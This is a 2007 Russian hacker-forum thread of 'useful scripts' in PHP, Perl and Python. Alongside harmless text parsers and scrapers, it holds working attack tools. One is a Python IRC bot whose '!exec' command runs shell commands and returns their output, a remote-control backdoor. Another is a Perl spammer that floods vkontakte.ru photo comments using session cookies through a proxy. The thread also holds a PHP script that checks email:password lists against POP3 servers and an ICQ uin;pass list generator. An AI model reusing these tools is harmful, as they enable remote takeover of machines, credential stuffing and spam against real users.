Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Вот ещё придумал способ защиты админки или любого скрипта от постаронних глаз, если нету MySQL или того, где бы хранилась информация о админе. Ввод пароля не нужен :)
    PHP:
    <?
    ...
        if(
    $REMOTE_ADDR != 'тут.введите.ваш.ip'//не забудьте изменить эту строчку
        
    exit('Вы не админ :)');
    ...
    ?>
    Однако, этот способ не очень безопасный.
     
    #101 NOmeR1, 12 Jul 2007
    Last edited: 14 Jul 2007
  2. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    если куплен внешний ип, то вполне безопасно =)
     
  3. Thanat0z

    Thanat0z Негрин

    Joined:
    6 Dec 2006
    Messages:
    627
    Likes Received:
    498
    Reputations:
    311
    Подкиньте скрипт плиз - нужно пропарсить файл по количеству символов в слове, то есть нужен скрипт, который примет на вход файл с текстом (каждое слово с новой строки), а на выходе будeт созданы файлы в которых будут слова с определенным количеством символов - с 6, 7, 8 etc символов

    perl/php

    ЗЫ еще вспомнил, нужен второй - обрезать слова частями, то есть нужно обрезать слово на N символов в один файл, а всё что после N слить в другой
     
    #103 Thanat0z, 12 Jul 2007
    Last edited: 12 Jul 2007
  4. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    PHP:
    <?php
    $fp 
    fopen('file.txt''r');
    $f = array();
    while(!
    feof($fp)){
        
    $word rtrim(fgets($fp));
        
    $len strlen($word);
        if(!
    file_exists($len.'.txt') || !$f[$len]){
            
    $f[$len] = fopen($len.'.txt''w');
        }
        
    fwrite($f[$len], $word."\n");
        
    }
    foreach(
    $f as $k=>$vfclose($f[$k]);
    fclose($fp);
    ?>
     
    1 person likes this.
  5. hhover

    hhover Elder - Старейшина

    Joined:
    21 May 2007
    Messages:
    60
    Likes Received:
    36
    Reputations:
    11
    По колличеству символов:
    PHP:
    <?php

    $file 
    file 'filename.txt' );

    foreach ( 
    $file as $word )
    {
      
      
    $word trim $word );
      if ( 
    $word == '' )
      {
        continue;
      }

      
    $len strlen $word );
      
      
    $fo fopen $len ".txt""ab" );
      
    fwrite $fo$word "\r\n" );
      
    fclose $fo );
      
    }

    ?>
    Разделение слова на части:
    PHP:
    <?php

    $filename 
    'filename.txt';
    $file file $filename );
    $max_len 10;

    $main fopen $filename'wb' );

    foreach ( 
    $file as $word )
    {
     
      
    $word trim $word );
      if ( 
    $word == '' )
      {
        continue;
      }
      
      
    $to_main substr $word0$max_len );
      
    $to_add substr $word$max_len );
      
      
    fwrite $main$to_main );
      
      if ( 
    $to_add == '' )
      {
        
    $add fopen 'add.txt''ab' );
        
    fwrite $add$to_add );
        
    fclose $add );
      }
      
    }

    fclose $main );

    ?>
     
    1 person likes this.
  6. devil2007

    devil2007 Banned

    Joined:
    18 May 2006
    Messages:
    184
    Likes Received:
    73
    Reputations:
    -14
    http://x0.6te.net/rating/
    PHP:
    <?
    ########################################################
    # CODED BY NOMER1...                                     #
    # Example for script here > http://x0.6te.net/rating/    #
    # ЭТОТ СКРИПТ ПАРСИТ САЙТ, ОЦЕНИВАЮЩИЙ КАЧ-ВО СОЗДАНИЯ   #
    # ВАШЕГО САЙТА, ДИЗАЙН И ПРОЧЕЕ. СПС =FARAON= ЗА ТО,     #
    # ЧТО ПОДАЛ ИДЕЮ НАПИСАТЬ ЕГО :D ВЫРАЖАЮ БЛАГОДАРНОСТЬ   #
    # ОТ ПИОНЕРСКОЙ ОРГАНИЦИИ ГЛЕБОВСКОГО САВХОЗА, КАК       #
    # ГОВОРИТСЯ... ВООБЩЕМ, ЖДЁМС КОМЕНТАРИЕВ ПО СКРИПТУ..   #
    # СОРРИ, ЧТО НАПИСАЛ ОЧЕРЕДНОЙ ПАРСЕР, ЩА ПРОСТО НЕТУ    #
    # НОВЫХ ИДЕЙ... СПАСИБО                                #
    ########################################################
    ?>
    <html>
        <body>
            <head><style>
            body
            { 
              padding:10px; 
              background:#2A2E33; 
              font-family:tahoma, verdana, arial; 
              font-size:11px; 
              text-align:left; 
              color:#B9B9BD; 
            }
            a:link, a:hover, a:visited
            {
              color:#B9B9BD;
              text-decoration: none;
            }
            input
            { 
              vertical-align:middle; 
              margin:1px 0; 
              padding-right:10px; 
              border:1px solid #336600; 
              padding:2px; 
              background:#363940; 
              color:#B9B9BD; 
            } 
            form
            { 
              padding:10px; 
              padding-left:20px; 
              border:1px solid #666; 
              width:280px; 
              margin:0 auto; 
            } 
            .vstb
            { 
              padding:10px; 
              padding-left:20px; 
              border:1px solid #666; 
              width:400px; 
              margin:0 auto; 
            } 
            </style>
    <?
        if($_GET['url'])
             {
                $ps = file_get_contents('http://www.cys.ru/cyber.html?url='.$_GET['url']); 
                $pattern = "#<index>(.*?)</index>#is"; 
                preg_match_all($pattern, $ps, $out, PREG_SET_ORDER); 
                   if(!preg_match_all($pattern, $ps, $out, PREG_SET_ORDER)) echo('<title>RaTiNg.SiTe{'.htmlspecialchars($_GET['url']).'}</title><div align="center">Невозможно просмотреть сайт <b>'.htmlspecialchars($_GET['url']).'</b></div>');
                    foreach($out as $row) 
                    {
                            $row[1] = str_replace('<div class="vst">','<center><h2><font color="green">',$row[1]);
                             $row[1] = str_replace('</div>
    <h1 class="diag">',' ',$row[1]);
                             $row[1] = str_replace('<a href="/','<a href="http://www.cys.ru/',$row[1]);
                             $row[1] = str_replace('</a></h1>','</a></font></h2></center>',$row[1]);
                            $row[1] = str_replace('<img src="/','<img src="http://www.cys.ru/',$row[1]);
                            $row[1] = str_replace('<div class="vstb"><br>Комментарии и пояснения</div>','<div class="vstb"><font color="green">Коментарии и предложения.</font><br><br><div align="left">',$row[1]);
                            $row[1] = str_replace('<div class="otcball">','<h4>',$row[1]);
                            $row[1] = str_replace('</div>
    <div class="otc">','</h4><h4>',$row[1]);
                            $row[1] = str_replace('<strong>','<b><font color="YellowGreen">',$row[1]);
                            $row[1] = str_replace('</strong> ','</font></b> ',$row[1]);
                            $row[1] = str_replace('</strong></div>','</font>}</b><font color="YellowGreen">',$row[1]);
                            $row[1] = str_replace('</strong><br>','</font>}</b></h4>',$row[1]);
                            $row[1] = str_replace('value="/','value="http://www.cys.ru/',$row[1]);
                             $row[1] = str_replace('action="/','action="http://www.cys.ru/',$row[1]);
                             $row[1] = str_replace('</a>)<br>','</a>)</font><br>',$row[1]);
                             $row[1] = str_replace('предложить поправки</a></center>','предложить поправки</a></center></div>',$row[1]);
                             $row[1] = str_replace('%2F">','%2F" style="color:green;">',$row[1]);
                             $row[1] = str_replace('<img','<img border="0"',$row[1]);
                             $row[1] = str_replace('width="280" height="150"></center>','width="280" height="150"></center><br><br>',$row[1]);
                             $row[1] = str_replace('Результат  оценки качества создания сайта','Качество создания сайта',$row[1]);
                             $row[1] = str_replace('Оценка: ','Quality{',$row[1]);
                             $row[1] = str_replace(' баллов',' баллов}',$row[1]);
                             $row[1] = str_replace('Фактор D: ','Фактор D{',$row[1]);
                             $row[1] = str_replace('Место в рейтинге: ','Место<b>{',$row[1]);
                             echo'<title>RaTiNg.SiTe{'.htmlspecialchars($_GET['url']).'}</title>
    <table align="center" width="400" style="font-size:11px"><div align="left">'.$row[1].'</div></table>'; 
                    }
              }
             else
                   {
    ?>
    <title>RaTiNg.SiTe{}</title>
    <form method=get style='width:200px;'>
    Url: <input type='text' name='url'><br>Example, <b>site.ru</b>.<br><br>
    <center><input type='submit' name='submit'></center>
    </form>
    <?
               }
    ?>
        </body>
    </html>
     
    4 people like this.
  7. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    =faraon=, непонятно по каким принципам вычисляет дизайн sys.ru =\
     
  8. Hormold

    Hormold Banned

    Joined:
    26 Jun 2007
    Messages:
    43
    Likes Received:
    9
    Reputations:
    -14
    Обычный граббер текста от тега до тега!
    PHP:
    <?
    $f file_get_contents('http://mail.ru/index.php');
    preg_match_all'/<b>(.*)<\/b>/iUs' $f$matches);
    echo 
    $matches[0][0];
    ?>
     
    1 person likes this.
  9. Thanat0z

    Thanat0z Негрин

    Joined:
    6 Dec 2006
    Messages:
    627
    Likes Received:
    498
    Reputations:
    311
    может кто такой навоять на перле? Ну и конечно чтоб он всю страничку пропарсил?
     
  10. C!klodoL

    C!klodoL Elder - Старейшина

    Joined:
    5 Jun 2007
    Messages:
    302
    Likes Received:
    208
    Reputations:
    4
    типа так
    #!/usr/bin/perl

    use LWP::UserAgent;

    $ua = LWP::UserAgent->new;

    $res = $ua->get('http://mail.ru/index.php', {
    'referer' => '',
    'CookieDate' => 1 });

    $text = $res->as_string;

    $text =~s/<a href="(.*)"/$text=$1/gie; так или $text =~s/(.*)gref="//gi; или так $text =~s/"(.*)//gi;

    print $text;
     
    #110 C!klodoL, 14 Jul 2007
    Last edited: 15 Jul 2007
    1 person likes this.
  11. Thanat0z

    Thanat0z Негрин

    Joined:
    6 Dec 2006
    Messages:
    627
    Likes Received:
    498
    Reputations:
    311
    И что он делает? Он кажется просто выводит весь исходник страницы и не более, а мне надо вывод текста между тегов, к пример как у нас на форуме между тегами
    Code:
    <!-- message -->
    ...
    <!-- / message -->
    
     
  12. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    IRC бот на питоне
    Code:
    #-----------------------------------------------+
    #                      ._____________________.  |
    #   Coded by slav0nic  | [email protected] |  |    
    #                      ^---------------------^  |
    # Site: slav0nic.xss.ru                         |
    #-----------------------------------------------+
    #
    #
    #commands: !exit','!port','!version','!exec'
    #!port [host][port] - check open port
    #!exec [commend] - exec command
    
    
    import socket
    import os
    import sys
    from random import *
    from time import *
    
    class IRC:
    
        def __init__(self):
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.port=6667
            self.ch_key=''
            self.nick = 'slav'+str(randrange(1000)) #bot name
            self.entermsg='[+]ok'           #send msg to chan after connect
            self.autoentermsg=1                 #send self.entermsg
            self._exec='!exec'              #prefix for shell command
            self.bot_commands=['!exit','!port','!version','!get',self._exec]
    #        self.encoding='1251'          #default Russian (encode in you irc client)
            self.sleep=0.1                #delay between send !exec result lines
            self.version='0.2'
            
        def loop(self):
            try:
                self.sock.connect((self.host, self.port))
                self.sock.send('NICK %s\r\n' % self.nick)
                self.sock.send('USER localhost localhost localhost : slavar\r\n')
                self.sock.send('JOIN %s %s\r\n' % (self.chan,self.ch_key))
                if self.autoentermsg: self.__sendprivmsg(self.entermsg)
    
                while True:
                    self.res_data = self.sock.recv(1024)
                    print self.res_data                          #dbg
                    if self.res_data.startswith(':ERROR') or self.res_data.startswith('ERROR'):
                        self.sock.close()
                        print '[-]Serv error'                   #dbg
                        sys.exit(1)
                    if self.res_data.startswith('PING'):
                        self.sock.send('PONG : PING\r\n')
                    elif self.res_data.find('PRIVMSG')!=-1:
                        msg,msg_type,command,from_=self.__pars_privmsg()
                        print 'msg_type=%s msg=%r cmd=%r'%(msg_type,msg,command)#dbg
                        if (msg_type=="to_user" and command!=''):          #this is a bot command
                            
                            if command in self.bot_commands:
                                   if command=='!exit':
                                          self.__ircexit()
                                          self.sock.close()
                                          sys.exit(0)
                                   elif command=='!version':
                                       self.__sendto_user(from_,'Version= \x0303%s'%self.version)
                                   elif command=='!exec':
                                       stdout=os.popen(msg[(len(command)+1):])
                                       for line in stdout.readlines() :                                                                             
                                           sleep(self.sleep)
                                           self.__sendto_user(from_,line)
                                           #print line               #dbg
    
    ##                               elif command=='!get':
    ##                                    """DCC SEND will be later ;)"""
    ##                                    self.__sendto_user(from_,'\x01DCC SEND 123.txt 2130706433 4116 4\x01') #ip to long socket.ntohl(struct.unpack('i',socket.inet_aton('127.0.0.1'))[0])
                                                                        
                                   elif command=='!port':
                                   #     print '%r %r'%(msg.split()[1],msg.split()[2])    #dbg
                                        try:
                                            x=self.__check_port(msg.split()[1],msg.split()[2])
                                        except:
                                            self.__sendto_user(from_,'\x0304[-]\x0300Error "!port [host] [port]" format')
                                            x=-1
                                        if x==1:    
                                            self.__sendto_user(from_,'\x0303[+]\x0300Port %i Ok'%int(msg.split()[2]))
                                        elif x==-1:
                                            pass
                                        else:
                                            self.__sendto_user(from_,'\x0304[-]\x0300Close')
                            elif msg.startswith('\x01DCC SEND'):
                                print 'DCC SEND' #dbg
                                
                                pass
                            else:
                               self.__sendto_user(from_,'\x0304[-]\x0300Unknown command %s'%command)
                                                               
                       
            except:
                    print '[-]Error:',sys.exc_value
        def __ircexit(self):
            self.sock.send('QUIT :\x0302Go offline\r\n')
    
        def __sendprivmsg(self,msg):
            self.sock.send('PRIVMSG %s :%s\r\n' % (self.chan,msg))
            
        def __sendto_user(self,user,msg):
            self.sock.send("PRIVMSG %s :%s\r\n"%(user,msg))
                  
        def __pars_privmsg(self):
            msg=self.res_data.split(':',2)[2][:-2]
            if self.res_data.split(':')[1].split()[2][0]=='#': msg_type='to_chan'
            else: msg_type= 'to_user'
            from_= self.res_data.split('!')[0].replace(':','')
            if msg[0]=='!': command=msg.split()[0].replace('\r\n','')
            else: command=''
            return msg, msg_type,command,from_
        def __check_port(self,host,port):
            socktest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #        socktest.settimeout(timeout)
            try:
                socktest.connect((host,int(port)))
                return 1
            except:
                return 0
    if __name__ == '__main__':
    
        bot = IRC()
        bot.host = 'irc.lamer.la'              #irc server ip (default bot.port=6667)
        bot.chan = '#chan'
        bot.ch_key= ''                   #channel password
        bot.nick=(socket.gethostname()).replace('.','_')+'_'+str(randrange(10))
    #   if os.fork():
        bot.loop()
    
        
       
    
     
  13. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Вот как можно защитить регу пользователей вводом кода с картинки (пример)
    register.php
    PHP:
    Antibot Secure:<br><input type='text' name='image'><br>(Введите числа, изображённые на картинке)<br><br>
    <img src='image.php'><br>
    ...
    <?
    ...
    if($_COOKIE['PictureCode'] != md5($image))
    exit("Код на картинке не совпадает с кодом, написанным вами.");
    ...
    ?>
    image.php
    PHP:
    <?php 
    // Получаем псевдослучайное число
    $rand rand(1000099999);

    // Получаем его хэш
    $rv md5($rand);

    // Засовываем хэш в куку
    setcookie ("PictureCode"$rv);


    // СоздаЈм картинку со светло-серой сеткой на тЈмно-сером фоне
    $picture imagecreate (6121);
    $bgcolor imagecolorallocate($picture165165165);
    $ntcolor imagecolorallocate($picture200200200);    
    for (
    $i=0$i<=100$i+=5imageline($picture$i0$i100$ntcolor);
    for (
    $i=0$i<=100$i+=5imageline($picture0$i100$i$ntcolor);

    // Случайный цвет для каждой цифры

    $fontcolor1 imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111));
    $fontcolor2 imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111));
    $fontcolor3 imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111));
    $fontcolor4 imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111));
    $fontcolor5 imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111));

    // Рисуем на картинке случайное число
    imagestring($picture11071substr($rand,0,1), $fontcolor1);
    imagestring($picture11176substr($rand,1,1), $fontcolor2);

    imagestring($picture11271substr($rand,2,1), $fontcolor3);
    imagestring($picture11376substr($rand,3,1), $fontcolor4);
    imagestring($picture11471substr($rand,4,1), $fontcolor5);

    // Посылаем заголовки и картинку
    header("Content-type: image/png");
    imagepng($picture);
    imagedestroy($picture);
    ?>
     
  14. ant0ha

    ant0ha Elder - Старейшина

    Joined:
    22 May 2007
    Messages:
    130
    Likes Received:
    50
    Reputations:
    13
    Полезный скрипт для вытаскивания индекса цитируемостит сайта:
    PHP:
    <?php
    $url
    ='www.site.ru';

    function 
    tic($url)
    {
        
    $pattern "http://bar-navig.yandex.ru/u?ver=2&show=32&url=http://";
        
    $url trim($url'/') . '/';
        
    $url str_replace('http://'''$url);
        
    $txt file_get_contents($pattern.$url);

        
    preg_match('|<tcy rang="\d*" value="(.*)"/>|'$txt$out);
        
    $cy = (int) $out[1];

        return 
    $cy;
    }

    $tic=tic($url);
    echo 
    $tic;
    ?>
     
  15. Hormold

    Hormold Banned

    Joined:
    26 Jun 2007
    Messages:
    43
    Likes Received:
    9
    Reputations:
    -14
    NOmeR1,
    Помоги переделать под это: http://www.viruslist.com/ru/search?VN=
    У меня нифига неработает :(
    Вот то-что я сделал:
    PHP:
    <? 
    if(
    $_GET['virus']) 
    {
    $file file_get_contents("http://www.viruslist.com/ru/search?VN=".$_GET['virus']);
    preg_match_all'/<table cellspacing=0 cellpadding=0 width=100% height=100% border=0>(.*)<\td colspan=3 height=20><\/td><\/tr>/isU' $file$out);
    echo 
    $out[0][0];
    }else{ 
    ?> 
    <title>Virus Lab</title> 
    <form style="width:180px;" method=get style='width:200px;'> 
    Virus: <input type='text' name='virus'><br>Example, <b>Virus.Win32.Gpcode.ai</b>.<br><br> 
    <center><input type='submit'></center> 
    </form> 
    <?}?>
     
  16. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    PHP:
    <?
    if(
    $_GET['virus'])
    {
    $file file_get_contents("http://www.viruslist.com/ru/search?VN=".$_GET['virus']);
    preg_match'/\<\/a\>\<\/b\>\<\/td\>\<\/table\>(.*)\<table(.*?)/is' $file$out);
    echo 
    $out[1];
    }else{
    ?>
    <title>Virus Lab</title>
    <form style="width:180px;" method=get style='width:200px;'>
    Virus: <input type='text' name='virus'><br>Example, <b>Virus.Win32.Gpcode.ai</b>.<br><br>
    <center><input type='submit'></center>
    </form>
    <?}?>
     
    1 person likes this.
  17. C!klodoL

    C!klodoL Elder - Старейшина

    Joined:
    5 Jun 2007
    Messages:
    302
    Likes Received:
    208
    Reputations:
    4
    написал скрипт спамера для сайта vkontakte.ru, так как тас одного акка не отправить более 200 сообщений в сутки, то спамим альбомы, на комментарии к которым нет никаких ограничений, спамит камментом каждую фотку в альбоме, можно изменить чтобы спамил только одну
    Code:
    #!/usr/bin/perl
    ########################
    # vkontakte.ru spamer
    # C!klodoL
    ########################
    #текст сообщения;
    $text = 'Превед';
    #хост прокси
    $host = 'localhost';
    #порт прокси
    $port = '8118';
    #id альбома с которого начать
    $start = 1000;
    #куки, remixpass= хэш пароля, remixmid= id, remixemail= мыло 
    $cookie = 'remixedu=0; remixpass=0decadac4aded48a704dfzebadc3ac9; remixfriendsCommon=1; remixmid=1000; remixemail=FljcqdXXDx%40narod.ru; remixgroups=1; remixchk=2';
    
    $text =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
    while(1){
    system("cls ; clear");
    use IO::Socket;
    $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"$port");
       print $sock "GET http://vkontakte.ru/photos.php?act=album&id=$start HTTP/1.0\r\n";
       print $sock "Host: vkontakte.ru\r\n";
       print $sock "Accept: */*\r\n";
       print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
       print $sock "Referer: http://vkontakte.ru/\r\n";
       print $sock "User-Agent: Internet Explorer 6.0\r\n";
       print $sock "Cookie: $cookie\r\n";
       print $sock "Connection: close\r\n\r\n";
       
       while ($html=<$sock>){
       if ($html=~/photos.php\?act=show&id/gi){
       $html=~m/(\d+)/g;
       $photoid=$1;
       push @idents, $photoid;
       }}
       close ($sock);
     print "@idents\n";  
    $mas = @idents; #количество ид фоток в массиве
    
    while($mas > 0){
    	$foto_id = "@idents[$co]";   
    	$uri = "id=$foto_id&act=post&comment=$text";
    	
    $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"$port");
       print $sock "POST http://vkontakte.ru/photos.php HTTP/1.1\r\n";
       print $sock "Host: vkontakte.ru\r\n";
       print $sock "Accept: */*\r\n";
       print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
       print $sock "Content-Length: ".length($uri)."\r\n";
       print $sock "Referer: Referer: http://vkontakte.ru/\r\n";
       print $sock "User-Agent: Internet Explorer 6.0\r\n";
       print $sock "Cookie: $cookie\r\n";
       print $sock "Connection: close\r\n\r\n$uri";
       while(<$sock>){print <$sock>};
       close ($sock);
    $co++;
    last if ($co > $mas);
    print "Comment foto $foto_id\n";
     sleep(2);
    	}
    $start++;
    @idents=();
    $co=0;
    print "Album number $start is commented\n";
    sleep(2);
    }
     
  18. Shram-spb

    Shram-spb Member

    Joined:
    6 Jun 2007
    Messages:
    64
    Likes Received:
    42
    Reputations:
    35
    Скрипт для чеканья мыла на валидность...
    на входе mail.txt: [email protected]:пароль
    Чекает mail.ru, rambler.ru, yandex.ru, list.ru, bk.ru ... и многие другие, где pop сервер лежит по адресу pop.host.ex:110
    На выходе в директории скрипта лежит ok.mail и err.mail

    PHP:
    //////////////////////////////////////////////////////////
    //                            //
    //    Скрипт для чеканья мыла на валидность!        //  
    //    Заливаем на Shell скрипт и файл mail.txt     //
    //    Формат mail.txt  [email protected]:password        //
    //      Чекает только мыла, у которых pop3 сервер    //
    //    располжен на pop.host.ex:110            //
    //      На выходе создаются 2 файла:            //
    //         ok.mail и err.mail             //
    //                Created by 5hr4M...    //
    //                            //
    //////////////////////////////////////////////////////////
    <?php
    error_reporting
    (0);
    $in=fopen("mail.txt","r");
    if(!
    $in) {
        echo 
    "mail.txt not found...<br>";
        exit();
      }
      while(!
    feof($in)) 
       {    
        
    $host='';
         
    $str='';
        
    $user='';
        
    $pass='';
        
    $str=fgets($in,128);
            
    $pos[1]=strpos($str,'@'); 
        
    $pos[2]=strpos($str,':');
            
    $host='pop.'.substr($str,$pos[1]+1,$pos[2]-$pos[1]-1);
        
    $pos[3]=strpos($host,' ');
            if (
    $pos[3]) $host=substr($host,0,$pos[3]);
            
    $user=substr($str,0,$pos[1]);
            
    $pass=substr($str,$pos[2]+1);
           
    connect ($host,$user,$pass); 
       }
    echo 
    "End<br>";
    fclose($in); 

    function 
    connect($host,$user,$pass){
    $fp fsockopen($host110, &$errno, &$errstr30);
    fputs($fp,"USER $user\n");
    $resp=fgets($fp,1024);
     if (
    $resp[0]=='+')
         {
            
    fputs($fp,"PASS $pass\n");
            
    $resp=fgets($fp,1024);
             if (
    $resp[0]=='+')
                     {
                    @
    $out=fopen("ok.mail","a");
                      
    $mg=$user '@' substr($host,4). ':' $pass;
                      echo 
    $mg.'<br>';
                    @
    fputs($out,$mg);
                    @
    fclose($out);
                     }else
                    {
            
    //        echo 'Pass failure';
                    
    @$out=fopen("err.mail","a");
                      
    $mg=$user '@' substr($host,4). ':' $pass;
                      @
    fputs($out,$mg);
                    @
    fclose($out);
                    }

         }else
        {
            
    //echo 'User failure';
                    
    @$out=fopen("err.mail","a");
                      
    $mg=$user '@' substr($host,4). ':' $pass;
                      @
    fputs($out,$mg);
                    @
    fclose($out);
        }
     
    fputs($fp,"QUIT\n");
     
    $resp=fgets($fp,1024);
    fclose($fp);
    }
    ?>
     
  19. alextoun

    alextoun Вылет с Трассы

    Joined:
    7 May 2006
    Messages:
    563
    Likes Received:
    216
    Reputations:
    96
    матрица на перле
    :D :d
     
  20. Hormold

    Hormold Banned

    Joined:
    26 Jun 2007
    Messages:
    43
    Likes Received:
    9
    Reputations:
    -14
    Генератор uin;pass:
    PHP:
    <?
    if(!empty(
    $_GET["pass"]) && $_GET["uin_start"] && $_GET["uin_end"])
    {
        
    $uin1=$_GET["uin_start"];
        
    $uin2=$_GET["uin_end"];
        
    $pass=$_GET["pass"];
        echo 
    $uin_start.";".$pass."<br>";
    for (
    $i 0$i <= $uin2-2$i++) 
        {
        
    $uin_start++;
        echo 
    $uin_start.";".$pass."<BR>";
         }
    }
    else{
    ?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
    <title>Uin;pass generator! </title>
    </head>

    <body><center>
    <table width="350" height="288" border="0">
      <tr>
        <td height="56"><center>
          Uin;pass generator! 
        </center>
        </td>
      </tr>
      <tr>
        <td><center>
          <form method="get" action="?">
            <p><fieldset><legend>Настройка</legend>Начальный номер: 
              <input type="text" name="uin_start" />
            </p>
            <p>Конечный номер:
              <input type="text" name="uin_end" />
    </p>
            <p>Пароль:
              <input type="text" name="pass" />
            </p>
                    <p>
              <input type="submit" value="Генирировать" />
            </fieldset></p>
          </form>
        </center>
        </td>
      </tr>
    </table>
    </center>
    </body>
    </html>
    <?
    }
    ?>
     
    1 person likes this.